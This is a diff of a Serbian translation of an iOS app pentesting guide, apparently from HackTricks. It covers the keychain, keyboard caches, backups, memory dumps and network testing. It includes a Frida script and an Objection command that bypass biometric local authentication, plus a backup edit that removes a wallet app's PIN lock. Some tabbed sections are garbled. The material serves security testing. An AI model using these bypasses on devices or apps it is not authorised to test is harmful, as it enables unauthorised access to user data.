||||
Za pristupanje i upravljanje iOS keychain-om, dostupni su alati poput [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), pogodni za jailbroken uređaje. Dodatno, [**Objection**](https://github.com/sensepost/objection) pruža komandu `ios keychain dump` za slične svrhe.
|
||||
Za pristupanje i upravljanje iOS kešom, dostupni su alati poput [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), pogodni za jailbroken uređaje. Dodatno, [**Objection**](https://github.com/sensepost/objection) pruža komandu `ios keychain dump` za slične svrhe.
|
||||
|
||||
#### **Čuvanje akreditacija**
|
||||
|
||||
Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u keychain-u, zaobilazeći potrebu za NSUserDefaults-om ili drugim omotačima. Za čuvanje akreditacija nakon prijave, koristi se sledeći Swift kod:
|
||||
Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u kešu, zaobilazeći potrebu za NSUserDefaults-om ili drugim omotačima. Za čuvanje akreditacija nakon prijave, koristi se sledeći Swift kod:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
|
@ -601,12 +600,12 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
|||
```
|
||||
## **Prilagođene tastature i keš tastature**
|
||||
|
||||
Sa iOS 8.0 nadalje, korisnici mogu instalirati prilagođene ekstenzije tastature, koje se mogu upravljati pod **Postavke > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširene funkcionalnosti, one predstavljaju rizik od beleženja pritisnutih tastera i slanja podataka eksternim serverima, iako korisnici dobijaju obaveštenje o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebalo bi, ograničiti upotrebu prilagođenih tastatura za unos osetljivih informacija.
|
||||
Sa iOS 8.0 nadalje, korisnici mogu instalirati prilagođene tastaturne ekstenzije, koje su upravljive pod **Podešavanja > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširene funkcionalnosti, predstavljaju rizik od beleženja pritisnutih tastera i slanja podataka eksternim serverima, iako korisnici dobijaju obaveštenje o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebalo bi, ograničiti upotrebu prilagođenih tastatura za unos osetljivih informacija.
|
||||
|
||||
**Preporuke za bezbednost:**
|
||||
|
||||
* Preporučuje se onemogućavanje tastatura trećih strana radi poboljšane bezbednosti.
|
||||
* Budite svesni funkcija automatske ispravke i automatskih predloga podrazumevane iOS tastature, koje mogu čuvati osetljive informacije u keš fajlovima smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ovi keš fajlovi treba redovno proveravati radi osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Postavke > Opšte > Resetovanje > Resetovanje rečnika tastature** radi brisanja keširanih podataka.
|
||||
* Budite svesni funkcija automatske ispravke i automatskih predloga podrazumevane iOS tastature, koje mogu čuvati osetljive informacije u keš fajlovima smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ovi keš fajlovi trebalo bi redovno proveravati radi osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetovanje > Resetovanje rečnika tastature** radi brisanja keširanih podataka.
|
||||
* Presretanje mrežnog saobraćaja može otkriti da li prilagođena tastatura daljinski prenosi pritisnute tastere.
|
||||
|
||||
### **Prevencija keširanja polja za unos teksta**
|
||||
|
@ -616,7 +615,7 @@ Protokol [UITextInputTraits](https://developer.apple.com/reference/uikit/uitexti
|
|||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
Dodatno, developeri treba da se pobrinu da tekstualna polja, posebno ona za unos osetljivih informacija poput lozinki i PIN-ova, onemoguće keširanje postavljanjem `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`.
|
||||
Dodatno, developeri treba da se pobrinu da tekstualna polja, posebno ona namenjena za unos osetljivih informacija poput lozinki i PIN-ova, onemoguće keširanje postavljanjem `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
|
@ -629,9 +628,9 @@ Uprkos ovim ograničenjima, **napadač sa fizičkim pristupom** otključanom ure
|
|||
|
||||
Da bi se smanjili rizici, preporučuje se **temeljno interagovanje sa aplikacijom**, istražujući sve njene funkcionalnosti i ulaze kako bi se osiguralo da se slučajno ne beleže osetljive informacije.
|
||||
|
||||
Prilikom pregleda izvornog koda aplikacije radi potencijalnih curenja, potražite kako **unapred definisane** tako i **prilagođene izjave za logovanje** koristeći ključne reči poput `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i bilo kakve pomenute `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
Prilikom pregleda izvornog koda aplikacije radi potencijalnih curenja, potražite kako **unapred definisane** tako i **prilagođene izjave za logovanje** koristeći ključne reči poput `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, kao i bilo kakve pomenute `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
|
||||
### **Pratite Logove Sistemskog Sistem**
|
||||
### **Pratite Logove Sistemskog Nadzora**
|
||||
|
||||
Aplikacije beleže različite informacije koje mogu biti osetljive. Za praćenje ovih logova, alati i komande poput:
|
||||
```bash
|
||||
|
@ -651,23 +650,37 @@ Za naprednije beleženje, povezivanje sa ljuskom uređaja i korišćenje **socat
|
|||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
### Beleške
|
||||
### Beleženje aktivnosti dnevnika
|
||||
|
||||
**Automatske funkcije za bekapovanje** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes-a (do macOS Catalina), Finder-a (od macOS Catalina nadalje) ili iCloud-a. Ovi bekapovi obuhvataju skoro sve podatke uređaja, isključujući visoko osetljive elemente poput detalja Apple Pay-a i konfiguracija Touch ID-a.
|
||||
Prateći naredbe za posmatranje aktivnosti dnevnika, koje mogu biti od neprocenjive vrednosti za dijagnostikovanje problema ili identifikaciju potencijalnog curenja podataka u dnevnicima.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Rezervne kopije
|
||||
|
||||
**Automatske funkcije rezervnog kopiranja** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes-a (do macOS Catalina), Finder-a (od macOS Catalina nadalje) ili iCloud-a. Ove rezervne kopije obuhvataju gotovo sve podatke uređaja, isključujući visoko osetljive elemente poput detalja Apple Pay-a i konfiguracija Touch ID-a.
|
||||
|
||||
### Bezbednosni rizici
|
||||
|
||||
Uključivanje **instaliranih aplikacija i njihovih podataka** u bekapove postavlja pitanje potencijalnog **curenja podataka** i rizika da **modifikacije bekapova mogu promeniti funkcionalnost aplikacija**. Preporučuje se **ne čuvati osetljive informacije u plaintext formatu** unutar direktorijuma bilo koje aplikacije ili njenih poddirektorijuma kako bi se umanjili ovi rizici.
|
||||
Uključivanje **instaliranih aplikacija i njihovih podataka** u rezervne kopije postavlja pitanje potencijalnog **curenja podataka** i rizika da **izmene rezervne kopije mogu promeniti funkcionalnost aplikacije**. Preporučuje se **ne čuvati osetljive informacije u običnom tekstu** unutar direktorijuma bilo koje aplikacije ili njenih poddirektorijuma kako bi se umanjili ovi rizici.
|
||||
|
||||
### Isključivanje Fajlova iz Bekapova
|
||||
### Isključivanje datoteka iz rezervnih kopija
|
||||
|
||||
Fajlovi u `Documents/` i `Library/Application Support/` se automatski bekapuju. Razvojni programeri mogu isključiti određene fajlove ili direktorijume iz bekapova koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u bekapove.
|
||||
Datoteke u `Documents/` i `Library/Application Support/` se podrazumevano rezervišu. Razvojni programeri mogu isključiti određene datoteke ili direktorijume iz rezervnih kopija koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u rezervne kopije.
|
||||
|
||||
### Testiranje Ranjivosti
|
||||
### Testiranje ranjivosti
|
||||
|
||||
Da biste procenili bezbednost bekapova aplikacije, počnite sa **kreiranjem bekapa** koristeći Finder, a zatim ga locirajte koristeći smernice iz [zvanične dokumentacije Apple-a](https://support.apple.com/en-us/HT204215). Analizirajte bekap radi osetljivih podataka ili konfiguracija koje bi mogle biti promenjene da bi uticale na ponašanje aplikacije.
|
||||
Da biste procenili sigurnost rezervne kopije aplikacije, počnite sa **kreiranjem rezervne kopije** koristeći Finder, a zatim je locirajte koristeći uputstva iz [zvanične dokumentacije kompanije Apple](https://support.apple.com/en-us/HT204215). Analizirajte rezervnu kopiju u potrazi za osetljivim podacima ili konfiguracijama koje bi mogle biti promenjene kako bi uticale na ponašanje aplikacije.
|
||||
|
||||
Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili aplikacija poput [iMazing](https://imazing.com). Za enkriptovane bekapove, prisustvo enkripcije se može potvrditi proverom ključa "IsEncrypted" u fajlu "Manifest.plist" na korenu bekapova.
|
||||
Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili aplikacija poput [iMazing](https://imazing.com). Za šifrovane rezervne kopije, prisustvo šifrovanja može se potvrditi proverom ključa "IsEncrypted" u fajlu "Manifest.plist" na korenu rezervne kopije.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -682,9 +695,9 @@ Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili a
|
|||
```
|
||||
Za rukovanje enkriptovanim rezervnim kopijama, Python skripte dostupne u [DinoSec-ovom GitHub repozitorijumu](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), poput **backup\_tool.py** i **backup\_passwd.py**, mogu biti korisne, iako potencijalno zahtevaju prilagođavanje za kompatibilnost sa najnovijim verzijama iTunes/Finder-a. [**iOSbackup** alat](https://pypi.org/project/iOSbackup/) je još jedna opcija za pristupanje fajlovima unutar zaštićenih lozinkom rezervnih kopija.
|
||||
|
||||
### Modifikovanje Ponašanja Aplikacije
|
||||
### Modifikacija Ponašanja Aplikacije
|
||||
|
||||
Primer modifikovanja ponašanja aplikacije putem modifikacija rezervne kopije je prikazan u [Bither bitcoin novčanik aplikaciji](https://github.com/bither/bither-ios), gde se UI zaključavanje PIN-a čuva unutar `net.bither.plist` pod ključem **pin\_code**. Uklanjanje ovog ključa iz plist datoteke i vraćanje rezervne kopije uklanja zahtev za PIN, pružajući neograničen pristup.
|
||||
Primer modifikacije ponašanja aplikacije putem izmena u rezervnoj kopiji je prikazan u [Bither bitcoin novčanik aplikaciji](https://github.com/bither/bither-ios), gde se UI zaključavanje PIN-a čuva unutar `net.bither.plist` pod ključem **pin\_code**. Uklanjanje ovog ključa iz plist datoteke i vraćanje rezervne kopije uklanja zahtev za PIN-om, pružajući neograničen pristup.
|
||||
|
||||
## Rezime Testiranja Memorije za Osetljive Podatke
|
||||
|
||||
|
@ -692,7 +705,7 @@ Kada se bavite osetljivim informacijama koje su smeštene u memoriji aplikacije,
|
|||
|
||||
## **Dobijanje i Analiza Dump-a Memorije**
|
||||
|
||||
Za jailbroken i ne-jailbroken uređaje, alati poput [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) omogućavaju dump-ovanje memorije procesa aplikacije. Nakon što je dump-ovana, analiza ovih podataka zahteva različite alate, zavisno od prirode informacija koje tražite.
|
||||
Za jailbroken i ne-jailbroken uređaje, alati poput [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) omogućavaju dump-ovanje memorije procesa aplikacije. Nakon što je dump-ovana, analiza ovih podataka zahteva različite alate, u zavisnosti od prirode informacija koje tražite.
|
||||
|
||||
Za izvlačenje stringova iz dump-a memorije, mogu se koristiti komande poput `strings` ili `rabin2 -zz`:
|
||||
```bash
|
||||
|
@ -702,7 +715,7 @@ $ strings memory > strings.txt
|
|||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Za detaljniju analizu, uključujući pretragu specifičnih tipova podataka ili obrazaca, **radare2** nudi obimne mogućnosti pretrage:
|
||||
Za detaljniju analizu, uključujući pretragu određenih tipova podataka ili obrazaca, **radare2** nudi obimne mogućnosti pretrage:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
|
@ -715,19 +728,19 @@ $ r2 <name_of_your_dump_file>
|
|||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## Slomljena Kriptografija
|
||||
## Oštećena Kriptografija
|
||||
|
||||
### Loši Procesi Upravljanja Ključevima
|
||||
### Slabi Procesi Upravljanja Ključevima
|
||||
|
||||
Neki programeri čuvaju osetljive podatke u lokalnom skladištu i šifriraju ih ključem koji je unapred definisan/predvidljiv u kodu. Ovo ne bi trebalo raditi jer neko preokretanje može omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki programeri čuvaju osetljive podatke u lokalnom skladištu i šifriraju ih ključem koji je unapred definisan/predvidljiv u kodu. Ovo ne bi trebalo raditi jer neko ko vrši reverzni inženjering može izvući poverljive informacije.
|
||||
|
||||
### Korišćenje Nesigurnih i/ili Zastarelih Algoritama
|
||||
|
||||
Programeri ne bi trebalo da koriste **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **heševi** koriste za čuvanje lozinki na primer, trebalo bi koristiti heševe otporne na napade brute-force zajedno sa solju.
|
||||
Programeri ne bi trebalo da koriste **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **heševi** koriste za čuvanje lozinki na primer, trebalo bi koristiti heševe otporne na napade brute-force uz dodatak soli.
|
||||
|
||||
### Provera
|
||||
|
||||
Glavne provere koje treba obaviti su da li možete pronaći **unapred definisane** lozinke/tajne u kodu, ili da li su te lozinke **predvidljive**, i da li kod koristi neku vrstu **slabe** **kriptografske** algoritme.
|
||||
Glavne provere koje treba obaviti su da li možete pronaći **unapred definisane** lozinke/tajne u kodu, ili da li su te lozinke **predvidljive**, i da li kod koristi neku vrstu **slabih** **kriptografskih** algoritama.
|
||||
|
||||
Zanimljivo je znati da možete **nadgledati** neke **kripto** **biblioteke** automatski koristeći **objection** sa:
|
||||
```swift
|
||||
|
@ -739,7 +752,7 @@ Za **više informacija** o iOS kriptografskim API-ima i bibliotekama posetite [h
|
|||
|
||||
**Lokalna autentikacija** igra ključnu ulogu, posebno kada je u pitanju obezbeđivanje pristupa na udaljenom krajnjem tačkom putem kriptografskih metoda. Suština ovde je da bez pravilne implementacije, mehanizmi lokalne autentikacije mogu biti zaobiđeni.
|
||||
|
||||
Apple-ov [**Lokalni autentikacioni okvir**](https://developer.apple.com/documentation/localauthentication) i [**ključnik**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju snažne API-je za programere kako bi olakšali dijaloge autentikacije korisnika i sigurno rukovali tajnim podacima, redom. Secure Enclave obezbeđuje ID otiska prsta za Touch ID, dok se Face ID oslanja na prepoznavanje lica bez ugrožavanja biometrijskih podataka.
|
||||
Apple-ov [**Lokalni autentikacioni okvir**](https://developer.apple.com/documentation/localauthentication) i [**ključnik**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju snažne API-je programerima kako bi olakšali dijaloge autentikacije korisnika i sigurno rukovali tajnim podacima, redom. Secure Enclave obezbeđuje ID otiska prsta za Touch ID, dok se Face ID oslanja na prepoznavanje lica bez ugrožavanja biometrijskih podataka.
|
||||
|
||||
Da bi integrisali Touch ID/Face ID, programeri imaju dva API izbora:
|
||||
|
||||
|
@ -747,7 +760,7 @@ Da bi integrisali Touch ID/Face ID, programeri imaju dva API izbora:
|
|||
* **`Security.framework`** za pristup uslugama ključnika na nižem nivou, obezbeđujući tajne podatke biometrijskom autentikacijom. Različiti [omotači otvorenog koda](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) olakšavaju pristup ključniku.
|
||||
|
||||
{% hint style="opasnost" %}
|
||||
Međutim, kako `LocalAuthentication.framework` tako i `Security.framework` predstavljaju ranjivosti, jer uglavnom vraćaju boolean vrednosti bez slanja podataka za autentikacione procese, čineći ih podložnim zaobilaženju (videti [Ne dodiruj me na taj način, od strane Davida Lindnera i drugih](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
Međutim, kako `LocalAuthentication.framework` i `Security.framework` predstavljaju ranjivosti, pošto uglavnom vraćaju boolean vrednosti bez slanja podataka za autentikacione procese, čine ih podložnim zaobilaženju (videti [Ne dodiruj me na taj način, od strane Davida Lindnera i drugih](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
{% endhint %}
|
||||
|
||||
### Implementacija Lokalne Autentikacije
|
||||
|
@ -761,7 +774,7 @@ Uspešna autentikacija se označava boolean vrednošću koja se vraća iz **`eva
|
|||
|
||||
### Lokalna Autentikacija korišćenjem Ključnika
|
||||
|
||||
Implementacija **lokalne autentikacije** u iOS aplikacijama uključuje korišćenje **ključnik API-ja** za sigurno čuvanje tajnih podataka kao što su autentikacioni tokeni. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, korišćenjem njihove šifre uređaja ili biometrijske autentikacije poput Touch ID-a.
|
||||
Implementacija **lokalne autentikacije** u iOS aplikacijama uključuje korišćenje **ključničkih API-ja** za sigurno čuvanje tajnih podataka kao što su autentikacioni tokeni. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, korišćenjem šifre uređaja ili biometrijske autentikacije poput Touch ID-a.
|
||||
|
||||
Ključnik nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik uspešno autentikuje putem Touch ID-a ili šifre uređaja. Ova funkcija je ključna za unapređenje sigurnosti.
|
||||
|
||||
|
@ -807,16 +820,24 @@ if status == noErr {
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
### Objective-C
|
||||
## Analiza statičkog koda
|
||||
|
||||
Objective-C je stariji jezik koji se koristi za razvoj iOS aplikacija. Iako je Swift postao glavni jezik za razvoj aplikacija za iOS, još uvek možete naići na Objective-C kod prilikom pentestiranja iOS aplikacija. Evo nekoliko ključnih tačaka na koje treba obratiti pažnju prilikom pentestiranja Objective-C aplikacija:
|
||||
1. **Otvorite Xcode projekt**: Otvorite Xcode projekt koji želite da analizirate.
|
||||
2. **Odaberite "Product"**: Kliknite na "Product" u glavnom meniju.
|
||||
3. **Izaberite "Perform Action"**: Izaberite "Perform Action" i zatim "Build With...".
|
||||
4. **Odaberite "Build For Profiling"**: Kliknite na "Build For Profiling" kako biste izgradili projekt za profilisanje.
|
||||
5. **Pronađite izgrađeni fajl**: Pronađite izgrađeni fajl projekta koji želite da analizirate.
|
||||
6. **Analizirajte fajl**: Koristite alate za analizu statičkog koda poput `otool`, `class-dump`, `Hopper`, ili `IDA Pro` za analizu izgrađenog fajla.
|
||||
|
||||
- **Static Analysis (Statistička analiza):** Korišćenje alata poput `clang` i `scan-build` za pronalaženje potencijalnih grešaka u kodu.
|
||||
- **Dynamic Analysis (Dinamička analiza):** Korišćenje alata poput `Cycript` za interaktivno testiranje i manipulaciju aplikacijom u pokretu.
|
||||
- **Reverse Engineering (Reverse inženjering):** Korišćenje alata poput `Hopper` ili `IDA Pro` za analizu i razumevanje rada aplikacije.
|
||||
- **Network Traffic Analysis (Analiza mrežnog saobraćaja):** Praćenje i analiza mrežnog saobraćaja koji generiše aplikacija radi otkrivanja potencijalnih bezbednosnih propusta.
|
||||
## Analiza dinamičkog koda
|
||||
|
||||
1. **Koristite LLDB debugger**: Koristite LLDB debugger za analizu dinamičkog koda vaše iOS aplikacije.
|
||||
2. **Postavite tačke prekida**: Postavite tačke prekida na ključnim tačkama u kodu kako biste pratili izvršavanje.
|
||||
3. **Pratite promenljive**: Pratite vrednosti promenljivih tokom izvršavanja aplikacije.
|
||||
4. **Analizirajte mrežne zahteve**: Koristite alate poput Charles Proxy ili Burp Suite za analizu mrežnih zahteva i odgovora.
|
||||
5. **Istražite memoriju**: Koristite alate poput `malloc_debug` za istraživanje memorije i otkrivanje curenja memorije ili drugih problema.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -871,39 +892,22 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
### Analiza statičkog koda
|
||||
## Analiza statičkog koda
|
||||
|
||||
1. **Korišćenje Clang Static Analyzer-a**
|
||||
1. **Otvorite Xcode projekt**: Otvorite Xcode projekt koji želite da analizirate.
|
||||
2. **Odaberite "Product"**: Kliknite na "Product" u glavnom meniju.
|
||||
3. **Izaberite "Perform Action"**: Izaberite "Perform Action" i zatim "Build With...".
|
||||
4. **Odaberite "Build For Profiling"**: Kliknite na "Build For Profiling" kako biste izgradili projekt za profilisanje.
|
||||
5. **Analizirajte rezultate**: Pregledajte rezultate analize statičkog koda kako biste identifikovali potencijalne sigurnosne ranjivosti.
|
||||
|
||||
Clang Static Analyzer je alat za analizu statičkog koda koji dolazi uz Xcode. Može se koristiti za otkrivanje potencijalnih grešaka u kodu, poput curenja memorije, neinicijalizovanih promenljivih, itd.
|
||||
## Analiza dinamičkog koda
|
||||
|
||||
Za pokretanje Clang Static Analyzer-a, otvorite Terminal i unesite sledeću komandu:
|
||||
|
||||
```bash
|
||||
scan-build xcodebuild -configuration Debug
|
||||
```
|
||||
|
||||
2. **Korišćenje LLVM Analyzer-a**
|
||||
|
||||
LLVM Analyzer je još jedan alat za analizu statičkog koda koji može otkriti potencijalne greške u kodu. Može se koristiti zajedno sa Clang Static Analyzer-om radi dodatne analize.
|
||||
|
||||
Za pokretanje LLVM Analyzer-a, otvorite Terminal i unesite sledeću komandu:
|
||||
|
||||
```bash
|
||||
scan-build -o /tmp/llvm xcodebuild -configuration Debug
|
||||
```
|
||||
|
||||
3. **Korišćenje OCLint-a**
|
||||
|
||||
OCLint je alat za statičku analizu koda koji se može koristiti za otkrivanje grešaka, loših praksi i nepoželjnog koda. Može se koristiti za poboljšanje kvaliteta koda i otkrivanje potencijalnih problema.
|
||||
|
||||
Za pokretanje OCLint-a, otvorite Terminal i unesite sledeću komandu:
|
||||
|
||||
```bash
|
||||
oclint-json-compilation-database -- -report-type pmd
|
||||
```
|
||||
1. **Koristite alate za analizu dinamičkog koda**: Koristite alate poput LLDB debuggera za analizu dinamičkog koda.
|
||||
2. **Simulirajte napade**: Simulirajte različite scenarije napada kako biste identifikovali ranjivosti.
|
||||
3. **Praćenje mrežnog saobraćaja**: Koristite alate poput Charles Proxy-a za praćenje i analizu mrežnog saobraćaja.
|
||||
4. **Provera sigurnosnih mehanizama**: Proverite da li su implementirani sigurnosni mehanizmi poput enkripcije podataka i provere autentičnosti.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -928,7 +932,7 @@ NSLog(@"Something went wrong");
|
|||
```
|
||||
### Otkrivanje
|
||||
|
||||
Korišćenje okvira u aplikaciji takođe može biti otkriveno analiziranjem liste deljenih dinamičkih biblioteka aplikacije. To se može uraditi korišćenjem `otool`:
|
||||
Korišćenje okvira u aplikaciji takođe može biti otkriveno analizom liste deljenih dinamičkih biblioteka aplikacije. Ovo se može uraditi korišćenjem `otool`:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
|
@ -937,15 +941,13 @@ Ako se koristi `LocalAuthentication.framework` u aplikaciji, izlaz će sadržati
|
|||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Ako se koristi `Security.framework`, prikazan će biti samo drugi.
|
||||
|
||||
### Bypass okvira za lokalnu autentikaciju
|
||||
### Bypass lokalnog autentikacionog okvira
|
||||
|
||||
#### **Prigovor**
|
||||
|
||||
Putem **Objection Biometrics Bypass**, koji se nalazi na [ovoj GitHub stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje mehanizma **LocalAuthentication**. Srž ovog pristupa uključuje korišćenje **Fride** za manipulaciju funkcije `evaluatePolicy`, osiguravajući da uvek daje rezultat `True`, bez obzira na stvarni uspeh autentikacije. Ovo je posebno korisno za zaobilaženje neispravnih biometrijskih autentikacionih procesa.
|
||||
Kroz **Prigovor Biometrijski Bypass**, koji se nalazi na [ovoj GitHub stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje mehanizma **LocalAuthentication**. Srž ovog pristupa uključuje korišćenje **Fride** za manipulaciju funkcije `evaluatePolicy`, osiguravajući da uvek daje rezultat `True`, bez obzira na stvarni uspeh autentikacije. Ovo je posebno korisno za zaobilaženje neispravnih biometrijskih autentikacionih procesa.
|
||||
|
||||
Za aktiviranje ovog zaobilaska, koristi se sledeća komanda:
|
||||
Za aktiviranje ovog bypass-a, koristi se sledeća komanda:
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||
|
@ -986,9 +988,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
|||
}
|
||||
}
|
||||
```
|
||||
Za postizanje **bypass**-a lokalne autentikacije, napisan je Frida skript. Ova skripta cilja na proveru **evaluatePolicy**, presrećući njen povratni poziv kako bi se osiguralo da vraća **success=1**. Menjanjem ponašanja povratnog poziva, provera autentikacije efikasno se zaobilazi.
|
||||
Za postizanje **bypass**-a lokalne autentikacije, napisan je Frida skript. Ovaj skript cilja proveru **evaluatePolicy**, presrećući njen povratni poziv kako bi se osiguralo da vraća **success=1**. Menjanjem ponašanja povratnog poziva, provera autentikacije efikasno se zaobilazi.
|
||||
|
||||
Skripta ispod je ubačena kako bi se izmenio rezultat metode **evaluatePolicy**. Menja rezultat povratnog poziva kako bi uvek pokazivao uspeh.
|
||||
Skript ispod je ubačen kako bi se izmenio rezultat metode **evaluatePolicy**. Menja rezultat povratnog poziva kako bi uvek pokazivao uspeh.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
|
@ -1028,7 +1030,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
[ios-universal-links.md](ios-universal-links.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Deljenje UIActivity
|
||||
### UIActivity Deljenje
|
||||
|
||||
{% content-ref url="ios-uiactivity-sharing.md" %}
|
||||
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
|
||||
|
@ -1058,9 +1060,9 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Komunikacija putem Mreže
|
||||
## Komunikacija Mreže
|
||||
|
||||
Važno je proveriti da li se komunikacija odvija **bez enkripcije** i takođe da li aplikacija pravilno **validira TLS sertifikat** servera.\
|
||||
Važno je proveriti da li se neka komunikacija odvija **bez enkripcije** i takođe da li aplikacija pravilno **validira TLS sertifikat** servera.\
|
||||
Da biste proverili ovakve probleme, možete koristiti proxy poput **Burp**:
|
||||
|
||||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||||
|
@ -1074,37 +1076,37 @@ Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na
|
|||
|
||||
### Pinovanje Sertifikata
|
||||
|
||||
Ako aplikacija pravilno koristi SSL Pinning, tada će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Prilikom testiranja aplikacije **ovo može biti problem jer će Burp poslužiti svoj sertifikat.**\
|
||||
Ako aplikacija pravilno koristi SSL Pinovanje, tada će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Prilikom testiranja aplikacije **ovo može biti problem jer će Burp poslužiti svoj sertifikat.**\
|
||||
